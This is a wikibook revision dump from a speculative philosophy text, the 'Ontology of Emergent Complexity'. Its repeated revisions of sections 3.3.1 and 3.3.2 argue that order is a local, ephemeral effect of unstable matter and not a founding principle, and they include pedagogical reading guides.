Novelty is materially conditioned but not treated as the expression of a founding reserve. Once a new capacity appears, its continuation depends on couplings that must be maintained. The next question is therefore not “Which eternal order does it instantiate?” but “How does this configuration hold together here?” [[Foundations of the Ontology of Emergent Complexity/Order as Local Effect/I - Against Order as Principle|Section 3.3.1]] begins the analysis of order as a local effect. It examines how insistence can produce relative consistency without becoming a principle of universal order. == Check your understanding == * Why does criticism of precedence not abolish causal history? * What additional evidence is needed before calling persistence “insistence”? * Can a harmful institution insist? What follows? * How are insistence and operative excess related without being identical? * Why is retrospective intelligibility compatible with genuine emergence? For the critique of sequential language that prepares this move, return to [[Foundations of the Ontology of Emergent Complexity/Emergence Without Origin/VI - Language and Logic as Prison of Sequence|Section 3.2.6]]. {{BookCat}} hrne8a1vwjpshp5b7bb3ylg9ul46py8 0 476978 4670744 4670261 2026-09-17T23:41:21Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670744 wikitext text/x-wiki ====== I - Against Order as Principle ====== Western ontology, shaped by the inheritances of classical thought, constituted order as the originative principle—prior and normative in relation to the real. This conception—what may be named archetypal ontogenesis—presupposes that the world is organized according to an implicit plan, a prior rationality, or a pre-established harmony that precedes the very existence of forms. From the Greek cosmogonic myths, through Aristotle's teleological metaphysics, to the dialectical structures of German idealism, order appears not as effect but as foundation—not as consequence, but as principle. Aristotle, by proposing the distinction between efficient, material, formal, and final causes (Physica, II, 194b23–35), inscribes order into the structure of reality’s intelligibility itself: every change has an end, and this end participates in a form that precedes it. Finality, within this model, is not a retroactive projection of thought upon events—it is a structure immanent to beings themselves, directing their actualization. Entelecheia, that is, the realization of potential according to intrinsic essence, installs order as the very destiny of becoming. This model is subsequently absorbed by Christian theology and reformulated by Hegel into a rational totality in process. In the Phenomenology of Spirit, history is not a contingent succession of events, but the progressive actualization of Reason in time (Hegel, 1807, p. 27). Apparent disorder must, therefore, be subsumed under an ultimate order—even if it remains latent. The real is rational, and the rational is real. The Ontology of Emergent Complexity (OEC) frontally refuses this horizon. It not only rejects order as a prior principle to emergence—it affirms the radical impossibility of any teleological architecture prior to the event. Order, here, is not an archetype imposed upon matter, but a localized effect of matter in reorganizing tension. There is no prefigured direction in becoming; no form anterior to the field. This critique of teleology is not a mere negation of finality as motor of reality—it is a reconfiguration of the very status of form. Against the tradition that conceives form as essence, OEC understands form as event. Form is what occurs when multiple instabilities intersect, producing for a moment an operatory consistency (cf. Document 6 – Order as Effect). But this consistency does not translate any prior truth—it is, itself, the real in its localized expression. This epistemological displacement has decisive consequences. It releases matter from the status of passive residuum—no longer chaos to be tamed by exterior reason—but as operatory potency. Matter, far from resisting form, is what produces it. And in producing it, it inscribes itself—without plan, without model, without finality. Prigogine and Stengers, in their critique of classical physics' determinism, had already intuited this movement by describing dissipative systems as structures emerging from instability—not from conservation (La Nouvelle Alliance, 1979, p. 132). Beyond preservation, there is production—a production that does not aim at a goal, but self-organizes from fluctuation itself. OEC radicalizes this perspective by abandoning even the idea of an immanent regulatory plan. Matter is not informed—it performs. Simondon, in his theory of individuation, conceives the emergence of the individual through modulation within metastable fields (Simondon, 2005, p. 215). Yet even Simondon retains a distinction between the pre-individual and the individuated—preserving an ontological reserve beneath emergence. OEC refuses this schema entirely: there is no substrate, no anterior field—only tension already modulating itself. To think ontologically, then, is not to discover the world’s order—it is to listen to its continuous friction. Order, like the concept of origin (cf. Document 9 – Origin is What Becomes Origin), is always an act of belated nomination: there is only order when something has endured long enough to be symbolically inscribed. Prior to that, there is only modulation, torsion, hesitation within matter. Order does not impose itself upon the real; it emerges from it—and in doing so, begins already to dissolve. Even within evolutionary biology, the illusion of intrinsic directionality persists. As Gould demonstrates, apparent trajectories toward complexity are statistical artifacts—not evidence of ontological orientation (Gould, 1996, p. 58). Complexity grows not by fulfilling an essence, but by reorganizing operationally under tension. What persists is not what was prefigured—but what manages, momentarily, to hold. Against archetypal ontogenesis, OEC proposes an operatory ontogenesis: every form is a singular event of matter—not the actualization of a model. Emergence is the new principle—not as foundation, but as function. And it is through this function that order dissolves as truth and reappears as effect. The deconstruction of order as principle restores to thought its most urgent function: not to justify the world from invisible essences, but to accompany its transformation from immanence. To think, here, is to inscribe oneself within incompletion. Not to seek ultimate structure, but to recognize that every structure is temporary—and that intelligibility is always local, situated and provisional. Order does not found—it happens. And precisely for that reason, there is no principle: only emergence. {{BookCat}} 8z0nylfz75ytcudc8i179sre27t4lbl 4670788 4670744 2026-09-18T01:44:20Z DavidCota64 3507033 Use canonical terminology: operative 4670788 wikitext text/x-wiki ====== I - Against Order as Principle ====== Western ontology, shaped by the inheritances of classical thought, constituted order as the originative principle—prior and normative in relation to the real. This conception—what may be named archetypal ontogenesis—presupposes that the world is organized according to an implicit plan, a prior rationality, or a pre-established harmony that precedes the very existence of forms. From the Greek cosmogonic myths, through Aristotle's teleological metaphysics, to the dialectical structures of German idealism, order appears not as effect but as foundation—not as consequence, but as principle. Aristotle, by proposing the distinction between efficient, material, formal, and final causes (Physica, II, 194b23–35), inscribes order into the structure of reality’s intelligibility itself: every change has an end, and this end participates in a form that precedes it. Finality, within this model, is not a retroactive projection of thought upon events—it is a structure immanent to beings themselves, directing their actualization. Entelecheia, that is, the realization of potential according to intrinsic essence, installs order as the very destiny of becoming. This model is subsequently absorbed by Christian theology and reformulated by Hegel into a rational totality in process. In the Phenomenology of Spirit, history is not a contingent succession of events, but the progressive actualization of Reason in time (Hegel, 1807, p. 27). Apparent disorder must, therefore, be subsumed under an ultimate order—even if it remains latent. The real is rational, and the rational is real. The Ontology of Emergent Complexity (OEC) frontally refuses this horizon. It not only rejects order as a prior principle to emergence—it affirms the radical impossibility of any teleological architecture prior to the event. Order, here, is not an archetype imposed upon matter, but a localized effect of matter in reorganizing tension. There is no prefigured direction in becoming; no form anterior to the field. This critique of teleology is not a mere negation of finality as motor of reality—it is a reconfiguration of the very status of form. Against the tradition that conceives form as essence, OEC understands form as event. Form is what occurs when multiple instabilities intersect, producing for a moment an operative consistency (cf. Document 6 – Order as Effect). But this consistency does not translate any prior truth—it is, itself, the real in its localized expression. This epistemological displacement has decisive consequences. It releases matter from the status of passive residuum—no longer chaos to be tamed by exterior reason—but as operative potency. Matter, far from resisting form, is what produces it. And in producing it, it inscribes itself—without plan, without model, without finality. Prigogine and Stengers, in their critique of classical physics' determinism, had already intuited this movement by describing dissipative systems as structures emerging from instability—not from conservation (La Nouvelle Alliance, 1979, p. 132). Beyond preservation, there is production—a production that does not aim at a goal, but self-organizes from fluctuation itself. OEC radicalizes this perspective by abandoning even the idea of an immanent regulatory plan. Matter is not informed—it performs. Simondon, in his theory of individuation, conceives the emergence of the individual through modulation within metastable fields (Simondon, 2005, p. 215). Yet even Simondon retains a distinction between the pre-individual and the individuated—preserving an ontological reserve beneath emergence. OEC refuses this schema entirely: there is no substrate, no anterior field—only tension already modulating itself. To think ontologically, then, is not to discover the world’s order—it is to listen to its continuous friction. Order, like the concept of origin (cf. Document 9 – Origin is What Becomes Origin), is always an act of belated nomination: there is only order when something has endured long enough to be symbolically inscribed. Prior to that, there is only modulation, torsion, hesitation within matter. Order does not impose itself upon the real; it emerges from it—and in doing so, begins already to dissolve. Even within evolutionary biology, the illusion of intrinsic directionality persists. As Gould demonstrates, apparent trajectories toward complexity are statistical artifacts—not evidence of ontological orientation (Gould, 1996, p. 58). Complexity grows not by fulfilling an essence, but by reorganizing operationally under tension. What persists is not what was prefigured—but what manages, momentarily, to hold. Against archetypal ontogenesis, OEC proposes an operative ontogenesis: every form is a singular event of matter—not the actualization of a model. Emergence is the new principle—not as foundation, but as function. And it is through this function that order dissolves as truth and reappears as effect. The deconstruction of order as principle restores to thought its most urgent function: not to justify the world from invisible essences, but to accompany its transformation from immanence. To think, here, is to inscribe oneself within incompletion. Not to seek ultimate structure, but to recognize that every structure is temporary—and that intelligibility is always local, situated and provisional. Order does not found—it happens. And precisely for that reason, there is no principle: only emergence. {{BookCat}} 36ecgritktcztfncm552zndu2kz1t3j 4670810 4670788 2026-09-18T01:51:13Z DavidCota64 3507033 Complete the Reading Colloquium from the revised local pedagogical guide 4670810 wikitext text/x-wiki ====== I - Against Order as Principle ====== Western ontology, shaped by the inheritances of classical thought, constituted order as the originative principle—prior and normative in relation to the real. This conception—what may be named archetypal ontogenesis—presupposes that the world is organized according to an implicit plan, a prior rationality, or a pre-established harmony that precedes the very existence of forms. From the Greek cosmogonic myths, through Aristotle's teleological metaphysics, to the dialectical structures of German idealism, order appears not as effect but as foundation—not as consequence, but as principle. Aristotle, by proposing the distinction between efficient, material, formal, and final causes (Physica, II, 194b23–35), inscribes order into the structure of reality’s intelligibility itself: every change has an end, and this end participates in a form that precedes it. Finality, within this model, is not a retroactive projection of thought upon events—it is a structure immanent to beings themselves, directing their actualization. Entelecheia, that is, the realization of potential according to intrinsic essence, installs order as the very destiny of becoming. This model is subsequently absorbed by Christian theology and reformulated by Hegel into a rational totality in process. In the Phenomenology of Spirit, history is not a contingent succession of events, but the progressive actualization of Reason in time (Hegel, 1807, p. 27). Apparent disorder must, therefore, be subsumed under an ultimate order—even if it remains latent. The real is rational, and the rational is real. The Ontology of Emergent Complexity (OEC) frontally refuses this horizon. It not only rejects order as a prior principle to emergence—it affirms the radical impossibility of any teleological architecture prior to the event. Order, here, is not an archetype imposed upon matter, but a localized effect of matter in reorganizing tension. There is no prefigured direction in becoming; no form anterior to the field. This critique of teleology is not a mere negation of finality as motor of reality—it is a reconfiguration of the very status of form. Against the tradition that conceives form as essence, OEC understands form as event. Form is what occurs when multiple instabilities intersect, producing for a moment an operative consistency (cf. Document 6 – Order as Effect). But this consistency does not translate any prior truth—it is, itself, the real in its localized expression. This epistemological displacement has decisive consequences. It releases matter from the status of passive residuum—no longer chaos to be tamed by exterior reason—but as operative potency. Matter, far from resisting form, is what produces it. And in producing it, it inscribes itself—without plan, without model, without finality. Prigogine and Stengers, in their critique of classical physics' determinism, had already intuited this movement by describing dissipative systems as structures emerging from instability—not from conservation (La Nouvelle Alliance, 1979, p. 132). Beyond preservation, there is production—a production that does not aim at a goal, but self-organizes from fluctuation itself. OEC radicalizes this perspective by abandoning even the idea of an immanent regulatory plan. Matter is not informed—it performs. Simondon, in his theory of individuation, conceives the emergence of the individual through modulation within metastable fields (Simondon, 2005, p. 215). Yet even Simondon retains a distinction between the pre-individual and the individuated—preserving an ontological reserve beneath emergence. OEC refuses this schema entirely: there is no substrate, no anterior field—only tension already modulating itself. To think ontologically, then, is not to discover the world’s order—it is to listen to its continuous friction. Order, like the concept of origin (cf. Document 9 – Origin is What Becomes Origin), is always an act of belated nomination: there is only order when something has endured long enough to be symbolically inscribed. Prior to that, there is only modulation, torsion, hesitation within matter. Order does not impose itself upon the real; it emerges from it—and in doing so, begins already to dissolve. Even within evolutionary biology, the illusion of intrinsic directionality persists. As Gould demonstrates, apparent trajectories toward complexity are statistical artifacts—not evidence of ontological orientation (Gould, 1996, p. 58). Complexity grows not by fulfilling an essence, but by reorganizing operationally under tension. What persists is not what was prefigured—but what manages, momentarily, to hold. Against archetypal ontogenesis, OEC proposes an operative ontogenesis: every form is a singular event of matter—not the actualization of a model. Emergence is the new principle—not as foundation, but as function. And it is through this function that order dissolves as truth and reappears as effect. The deconstruction of order as principle restores to thought its most urgent function: not to justify the world from invisible essences, but to accompany its transformation from immanence. To think, here, is to inscribe oneself within incompletion. Not to seek ultimate structure, but to recognize that every structure is temporary—and that intelligibility is always local, situated and provisional. Order does not found—it happens. And precisely for that reason, there is no principle: only emergence. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This subsection initiates the argument of §3.3 by directly challenging the assumption that order is a principle — a rule, a law, or a structure that governs the real from above or beneath. === 2. Philosophical Problem at Stake === The classical and modern traditions both assumed that order is a principle: a Form (Plato), a final cause (Aristotle), a transcendental structure (Kant), or a dialectical totality (Hegel). The framework argues that order-as-principle is a specific philosophical invention that obscures the operative conditions under which orderly configurations actually emerge. === 3. Core Thesis and Conceptual Reorganisation === Order is not a principle but an effect — a pattern produced by functional couplings within the field. To treat order as a principle is to mistake the product for its cause. === 4. Key Concepts and Their Articulation === Order as principle versus order as effect, the distinction between prescriptive order (rules imposed on reality) and descriptive order (patterns observed within reality), and the framework's position that even descriptive order is a product of specific operative conditions. === 5. Implications for Readers and Pedagogical Pathways === Readers should consider the implications for their own fields: in science, law, politics, or ethics, is the "order" they study a principle that governs the phenomena, or an effect produced by specific material conditions? {{BookCat}} oxvmx9u3y53pnkc2lauuud2ukkdibb9 0 476979 4670745 4670263 2026-09-17T23:41:24Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670745 wikitext text/x-wiki '''3.3.2 - The Emergence of Order as an Ephemeral Torsion of the Unstable Field''' Order, as conceived within the Ontology of Emergent Complexity (OEC), does not present itself as a transcendent instance or as a plan preceding matter. On the contrary, it arises as a localized and ephemeral effect of the productive instability of the real. Within this ontological regime, there is no original repose, no inaugural equilibrium: the plane of being is continuous agitation, tensional composition without center, without exteriority, and without normative reference. The classical image of the cosmos, understood as pre-established harmony, dissolves into a new image of the real as chaosmos—a concept introduced within the framework of complex thought by Edgar Morin—an operative term designating the coexistence of order and disorder, of form and flux, of emergence and simultaneous dissolution. As previously articulated, all stability is a pause, not a foundation. Form is not a given, but a torsion: a temporary inflection of matter in variation, which, through functional coupling, reorganizes itself and produces zones of operatory consistency. This formulation resonates with process philosophy, particularly in Whitehead, who conceives reality as a succession of relational events rather than fixed substantial aggregates. Such relational composition—and it is crucial to reiterate this—is not chaos conceived as absolute disorganization, but a dynamic regime of material interactions in perpetual modulation. Within it, matter does not rest: it recomposes, hesitates, resists, and reshapes itself. Upon reaching certain thresholds of complexity, this hesitation generates momentary patterns, symbolic torsions, precarious stabilizations. These patterns, though they may acquire relative durability, remain fundamentally unstable in both origin and persistence. At this juncture, the distinction between a teleological conception of order—as a structuring force guiding the real toward its fulfillment—and an emergentist conception becomes evident. The latter conceives order as a whirlpool: a swirling of forces that, for brief moments, produces organization, before dissolving back into the relentless movement from which it arose. Far from being metaphorical, this image carries conceptual potency: like the whirlpool, order does not come from outside, is not imposed, nor sustained by a center; it is matter itself operating as such. This approach stands in direct opposition to the Platonic tradition and transcendental idealism, both of which posit immutable forms or pre-experiential ordering principles. Stability, then, is not the natural state of things, but their recurring exception. Regularity is not a principle, but a collateral effect of threshold conditions. In complex systems—such as climate, ecosystems, or living organisms—order appears precisely when multiple instabilities intersect and enter into resonance. This reading aligns with the paradigm of self-organization proposed by Prigogine, for whom order in dissipative systems emerges from instability, not homogeneity. Order, therefore, does not exclude chaos—it integrates it as a condition of possibility. What appears as “form” is merely the momentary modulation of a dense, unstable, and relational material weave—a constellation of interactions rather than an ordered system. This conception finds affinity with Morin’s proposal for complex thought, which assumes the inseparability of order, disorder, and organization as the founding structure of the real. Such a formulation destabilizes any ontological attempt to ground order as essence. In OEC, order is not a “state” to be preserved, but a function to be understood. There is no model to be followed, only operations to be recognized. The local torsion within this dynamic network of materiality points not toward an ideal totality, but to the capacity of the real to inscribe itself differently upon itself—always in a situated, ephemeral, and relational manner. The scale of such inscription, however, is not fixed. What appears as an instant to human consciousness may, at another scale, constitute a stability of millions of years. The fleeting formation of a complex molecule, lasting mere seconds, and the persistence of a structured galaxy whose coherence spans billions of years, both belong to the same regime of transitional organization. The difference between them lies not in their ontological nature, but in the duration of their consistency—time understood here as an interval of material operativity, not as a metaphysical substrate. Even when prolonged, stability does not lose its status as pause: it is always an event of instability, never its overcoming. At this point, it is worth suggesting a speculative possibility arising from the dialogue between the Ontology of Emergent Complexity and certain recent proposals in contemporary physics—namely, the model of three-dimensional time put forward by Kletetschka (2024). This theory—which conceives time as a field with three independent dimensions, and space as a topological derivation of these temporal relations—allows one to imagine the emergence of organized patterns not as a result of causal succession, but through simultaneous attempts at inscription. This image, though speculative, remains philosophically grounded: it suggests that order may arise from lateral interaction among multiple operatory trajectories tested within the unstable field. As in quantum mechanics, where multiple states coexist prior to collapse, emergence may be conceived as competition and convergence among parallel temporal torsions, which, on occasion, encounter material conditions sufficient to persist as figure. This is not to affirm such a hypothesis as a physical model, but rather to recognize its metaphorical potency—capable of enriching the speculative ontology of operatory instability. It must be emphasized that such torsion is neither directed by an agent nor aimed at an end: it occurs through saturation of material conditions, through tensions that precariously balance, through convergence of heterogeneous flows. This is unplanned emergence, where function precedes meaning, and consistency precedes representation. In this sense, one may affirm that order is the name we assign to certain forms of duration—not because they endure intrinsically, but because, by enduring, they allow for naming. Such duration, however, is inscription—not substance. What emerges as form is matter itself reorganizing, becoming capable of maintaining, if only briefly, a functional coherence. Contrary to idealist conceptions, there is no plan to be fulfilled, only a plan that happens—and, in happening, already begins to unravel. Order, as ephemeral torsion of active materiality, should not be celebrated as perfection, but understood as one among many possible figures of immanence. More than that, it must be recognized as an interpretative function, not a property of the real. The universe does not “possess” order—it merely produces itself. Order is the name human consciousness assigns to certain material configurations which, by persisting long enough to be inscribed, allow for symbolic codification. This is, therefore, an anthropocosmic operation: in attempting to understand, the human projects upon the real a form of intelligibility that is always situated, partial, and functional. There is no “order” in the universe except as mediation—as an act of inscription upon that which does not offer itself as legible. What appears as order is not the world as it is, but the world as we manage to translate it—through perceptual and operatory schemes that do not grasp totality, but only that which remains sufficiently stable to be spoken. In this sense, order is not substantive—it is adjectival. Not an attribute of being, but an effect of meaning emerging from a specific regime of material organization crossed with a specific regime of symbolic reading. To think order, then, is not to recognize a hidden plan within the cosmos, but to expose the process through which certain material recurrences become nameable. Torsion, therefore, is the minimal figure of order—not its foundation, but its event, and also its interpretation. A fold without plan, a curvature of instability, an operation without guarantee, and a symbolic reading that transforms such an operation into intelligible form. And it is precisely this unstable and symbolic condition that renders order thinkable—not as promise of salvation, but as index of the potency of a real that never rests, but that, at times, allows us to believe it might. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === ---{{BookCat}} jx734oqjonacu8pxq6vyw3ob0n7link 4670777 4670745 2026-09-18T01:07:02Z DavidCota64 3507033 Preserve the existing chapter, refine terminology, and complete the pedagogical reading colloquium 4670777 wikitext text/x-wiki '''3.3.2 - The Emergence of Order as an Ephemeral Torsion of the Unstable Field''' Order, as conceived within the Ontology of Emergent Complexity (OEC), does not present itself as a transcendent instance or as a plan preceding matter. On the contrary, it arises as a localised and ephemeral effect of the productive instability of the real. Within this ontological regime, there is no original repose, no inaugural equilibrium: the plane of being is continuous agitation, tensional composition without centre, without exteriority, and without normative reference. The classical image of the cosmos, understood as pre-established harmony, dissolves into a new image of the real as chaosmos — a term coined by Joyce, adopted philosophically by Deleuze and Guattari, and circulated within complex thought by Edgar Morin — an operative term designating the coexistence of order and disorder, of form and flux, of emergence and simultaneous dissolution. As previously articulated, all stability is a pause, not a foundation. Form is not a given, but a torsion: a temporary inflection of matter in variation, which, through functional coupling, reorganises itself and produces zones of operative consistency. This formulation resonates with process philosophy, particularly in Whitehead, who conceives reality as a succession of relational events rather than fixed substantial aggregates — though what is retained here is the relational event alone, not the experiential occasions already refused above (§3.1.3). Such relational composition — and it is crucial to reiterate this — is not chaos conceived as absolute disorganisation, but a dynamic regime of material interactions in perpetual modulation. Within it, matter does not rest: it recomposes, hesitates, resists, and reshapes itself. Upon reaching certain thresholds of complexity, this hesitation generates momentary patterns, symbolic torsions, precarious stabilisations. These patterns, though they may acquire relative durability, remain fundamentally unstable in both origin and persistence. At this juncture, the distinction between a teleological conception of order — as a structuring force guiding the real towards its fulfilment — and an emergentist conception becomes evident. The latter conceives order as a whirlpool: a swirling of forces that, for brief moments, produces organisation, before dissolving back into the relentless movement from which it arose. Far from being metaphorical, this image carries conceptual potency: like the whirlpool, order does not come from outside, is not imposed, nor sustained by a centre; it is matter itself operating as such. This approach stands in direct opposition to the Platonic tradition and transcendental idealism, both of which posit immutable forms or pre-experiential ordering principles. Stability, then, is not the natural state of things, but their recurring exception. Regularity is not a principle, but a collateral effect of threshold conditions. In complex systems — such as climate, ecosystems, or living organisms — order appears precisely when multiple instabilities intersect and enter into resonance. This reading aligns with the paradigm of self-organisation proposed by Prigogine, for whom order in dissipative systems emerges from instability, not homogeneity — a gain retained here with its divergence marked: what generates the new is not fluctuation or collapse as such but the excess of operative combinations, and the extension of the dissipative pattern beyond thermodynamics is an ontological thesis of this framework, not a result licensed by the physics. Order, therefore, does not exclude chaos — it integrates it as a condition of possibility. What appears as “form” is merely the momentary modulation of a dense, unstable, and relational material weave — a constellation of interactions rather than an ordered system. This conception finds affinity with Morin’s proposal for complex thought, which assumes the inseparability of order, disorder, and organisation as the founding structure of the real. Such a formulation destabilises any ontological attempt to ground order as essence. In OEC, order is not a “state” to be preserved, but a function to be understood. There is no model to be followed, only operations to be recognised. The local torsion within this dynamic network of materiality points not towards an ideal totality, but to the capacity of the real to inscribe itself differently upon itself — always in a situated, ephemeral, and relational manner. The scale of such inscription, however, is not fixed. What appears as an instant to human consciousness may, at another scale, constitute a stability of millions of years. The fleeting formation of a complex molecule, lasting mere seconds, and the persistence of a structured galaxy whose coherence spans billions of years, both belong to the same regime of transitional organisation. The difference between them lies not in their ontological nature, but in the duration of their consistency — time understood here as an interval of material operativity, not as a metaphysical substrate. Even when prolonged, stability does not lose its status as pause: it is always an event of instability, never its overcoming. At this point, it is worth suggesting a speculative possibility arising from the dialogue between the Ontology of Emergent Complexity and certain recent proposals in contemporary physics — namely, the three-dimensional model of time put forward by Kletetschka (2025) — a recent proposal, not a consensual result. This theory — which conceives time as a field with three independent dimensions, and space as a topological derivation of these temporal relations — allows one to imagine the emergence of organised patterns not as a result of causal succession, but through simultaneous attempts at inscription. This image, though speculative, remains philosophically grounded: it suggests that order may arise from lateral interaction among multiple operative trajectories tested within the unstable field. As in quantum mechanics, where multiple states coexist prior to collapse, emergence may be conceived as competition and convergence among parallel temporal torsions, which, on occasion, encounter material conditions sufficient to persist as figure. This is not to affirm such a hypothesis as a physical model, but rather to recognise its metaphorical potency — capable of enriching the speculative ontology of operative instability. It must be emphasised that such torsion is neither directed by an agent nor aimed at an end: it occurs through saturation of material conditions, through tensions that precariously balance, through convergence of heterogeneous flows. This is unplanned emergence, where function precedes meaning, and consistency precedes representation. In this sense, one may affirm that order is the name we assign to certain forms of duration — not because they endure intrinsically, but because, by enduring, they allow for naming. Such duration, however, is what permits inscription — it is not substance. What emerges as form is matter itself reorganising, becoming capable of maintaining, if only briefly, a functional coherence. Contrary to idealist conceptions, there is no plan to be fulfilled, only a plan that happens — and, in happening, already begins to unravel. Order, as ephemeral torsion of active materiality, should not be celebrated as perfection, but understood as one among many possible figures of immanence. More than that, it must be recognised as an interpretative function, not a property of the real. The universe does not “possess” order — it merely produces itself. Order is the name human consciousness assigns to certain material configurations which, by persisting long enough to be inscribed, allow for symbolic codification. This is, therefore, an anthropocosmic operation: in attempting to understand, the human projects upon the real a form of intelligibility that is always situated, partial, and functional. There is no “order” in the universe except as mediation — as an act of inscription upon that which does not offer itself as legible. What appears as order is not the world as it is, but the world as we manage to translate it — through perceptual and operative schemes that do not grasp totality, but only that which remains sufficiently stable to be spoken. In this sense, order is not substantive — it is adjectival. Not an attribute of being, but an effect of meaning emerging from a specific regime of material organisation crossed with a specific regime of symbolic reading. To think order, then, is not to recognise a hidden plan within the cosmos, but to expose the process through which certain material recurrences become nameable. Torsion, therefore, is the minimal figure of order — not its foundation, but its event, and also its interpretation. A fold without plan, a curvature of instability, an operation without guarantee, and a symbolic reading that transforms such an operation into intelligible form. And it is precisely this unstable and symbolic condition that renders order thinkable — not as promise of salvation, but as index of the potency of a real that never rests, but that, at times, allows us to believe it might. == 🜂 Reading Colloquium – Pedagogical Framing == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === Section 3.3.1 rejected order as a principle placed before matter. This subsection provides the positive account that the rejection requires: order is a local configuration within an unstable field. Section 3.3.3 will then identify functional coupling as the mechanism through which such configurations acquire consistency. === 2. Philosophical Problem at Stake === If order is neither a transcendent plan nor a permanent foundation, how can it still be real? The difficulty disappears once material consistency is distinguished from permanence. A whirlpool is real even though it depends on the flow that sustains it; an ecosystem is organised even though its organisation changes with its relations. Order can therefore persist without becoming necessary. === 3. Core Thesis and Conceptual Reorganization === The figure of torsion names a local inflection that endures while its enabling conditions continue. “Ephemeral” refers to this dependence, not to chronological brevity: a pattern lasting seconds and one lasting millions of years can share the same ontological status. The distinction matters. Duration changes the scale of observation; it does not convert a conditioned configuration into a foundation. === 4. Key Concepts and Their Articulation === The unstable field supplies the variations from which a torsion forms. Functional coupling gives that torsion local consistency. Ephemerality marks its dependence on conditions, while scale explains why the same regime can include both brief and very long-lived organisations. Symbolic legibility is a further operation: a material pattern may persist before a system recognises and names it as order. === 5. Implications for Readers and Pedagogical Pathways === Use the concept by asking three questions of any apparently stable system: which relations sustain it, at what scale does it appear stable, and what change would alter or dissolve that stability? The exercise avoids two opposite errors. Conditional order is neither eternal nor unreal; its fragility is part of its mode of existence. {{BookCat}} fy8upntstdlymoux3a2toean27bjqcu 4670835 4670777 2026-09-18T02:01:41Z DavidCota64 3507033 Use British English consistently in prose and pedagogical headings 4670835 wikitext text/x-wiki '''3.3.2 - The Emergence of Order as an Ephemeral Torsion of the Unstable Field''' Order, as conceived within the Ontology of Emergent Complexity (OEC), does not present itself as a transcendent instance or as a plan preceding matter. On the contrary, it arises as a localised and ephemeral effect of the productive instability of the real. Within this ontological regime, there is no original repose, no inaugural equilibrium: the plane of being is continuous agitation, tensional composition without centre, without exteriority, and without normative reference. The classical image of the cosmos, understood as pre-established harmony, dissolves into a new image of the real as chaosmos — a term coined by Joyce, adopted philosophically by Deleuze and Guattari, and circulated within complex thought by Edgar Morin — an operative term designating the coexistence of order and disorder, of form and flux, of emergence and simultaneous dissolution. As previously articulated, all stability is a pause, not a foundation. Form is not a given, but a torsion: a temporary inflection of matter in variation, which, through functional coupling, reorganises itself and produces zones of operative consistency. This formulation resonates with process philosophy, particularly in Whitehead, who conceives reality as a succession of relational events rather than fixed substantial aggregates — though what is retained here is the relational event alone, not the experiential occasions already refused above (§3.1.3). Such relational composition — and it is crucial to reiterate this — is not chaos conceived as absolute disorganisation, but a dynamic regime of material interactions in perpetual modulation. Within it, matter does not rest: it recomposes, hesitates, resists, and reshapes itself. Upon reaching certain thresholds of complexity, this hesitation generates momentary patterns, symbolic torsions, precarious stabilisations. These patterns, though they may acquire relative durability, remain fundamentally unstable in both origin and persistence. At this juncture, the distinction between a teleological conception of order — as a structuring force guiding the real towards its fulfilment — and an emergentist conception becomes evident. The latter conceives order as a whirlpool: a swirling of forces that, for brief moments, produces organisation, before dissolving back into the relentless movement from which it arose. Far from being metaphorical, this image carries conceptual potency: like the whirlpool, order does not come from outside, is not imposed, nor sustained by a centre; it is matter itself operating as such. This approach stands in direct opposition to the Platonic tradition and transcendental idealism, both of which posit immutable forms or pre-experiential ordering principles. Stability, then, is not the natural state of things, but their recurring exception. Regularity is not a principle, but a collateral effect of threshold conditions. In complex systems — such as climate, ecosystems, or living organisms — order appears precisely when multiple instabilities intersect and enter into resonance. This reading aligns with the paradigm of self-organisation proposed by Prigogine, for whom order in dissipative systems emerges from instability, not homogeneity — a gain retained here with its divergence marked: what generates the new is not fluctuation or collapse as such but the excess of operative combinations, and the extension of the dissipative pattern beyond thermodynamics is an ontological thesis of this framework, not a result licensed by the physics. Order, therefore, does not exclude chaos — it integrates it as a condition of possibility. What appears as “form” is merely the momentary modulation of a dense, unstable, and relational material weave — a constellation of interactions rather than an ordered system. This conception finds affinity with Morin’s proposal for complex thought, which assumes the inseparability of order, disorder, and organisation as the founding structure of the real. Such a formulation destabilises any ontological attempt to ground order as essence. In OEC, order is not a “state” to be preserved, but a function to be understood. There is no model to be followed, only operations to be recognised. The local torsion within this dynamic network of materiality points not towards an ideal totality, but to the capacity of the real to inscribe itself differently upon itself — always in a situated, ephemeral, and relational manner. The scale of such inscription, however, is not fixed. What appears as an instant to human consciousness may, at another scale, constitute a stability of millions of years. The fleeting formation of a complex molecule, lasting mere seconds, and the persistence of a structured galaxy whose coherence spans billions of years, both belong to the same regime of transitional organisation. The difference between them lies not in their ontological nature, but in the duration of their consistency — time understood here as an interval of material operativity, not as a metaphysical substrate. Even when prolonged, stability does not lose its status as pause: it is always an event of instability, never its overcoming. At this point, it is worth suggesting a speculative possibility arising from the dialogue between the Ontology of Emergent Complexity and certain recent proposals in contemporary physics — namely, the three-dimensional model of time put forward by Kletetschka (2025) — a recent proposal, not a consensual result. This theory — which conceives time as a field with three independent dimensions, and space as a topological derivation of these temporal relations — allows one to imagine the emergence of organised patterns not as a result of causal succession, but through simultaneous attempts at inscription. This image, though speculative, remains philosophically grounded: it suggests that order may arise from lateral interaction among multiple operative trajectories tested within the unstable field. As in quantum mechanics, where multiple states coexist prior to collapse, emergence may be conceived as competition and convergence among parallel temporal torsions, which, on occasion, encounter material conditions sufficient to persist as figure. This is not to affirm such a hypothesis as a physical model, but rather to recognise its metaphorical potency — capable of enriching the speculative ontology of operative instability. It must be emphasised that such torsion is neither directed by an agent nor aimed at an end: it occurs through saturation of material conditions, through tensions that precariously balance, through convergence of heterogeneous flows. This is unplanned emergence, where function precedes meaning, and consistency precedes representation. In this sense, one may affirm that order is the name we assign to certain forms of duration — not because they endure intrinsically, but because, by enduring, they allow for naming. Such duration, however, is what permits inscription — it is not substance. What emerges as form is matter itself reorganising, becoming capable of maintaining, if only briefly, a functional 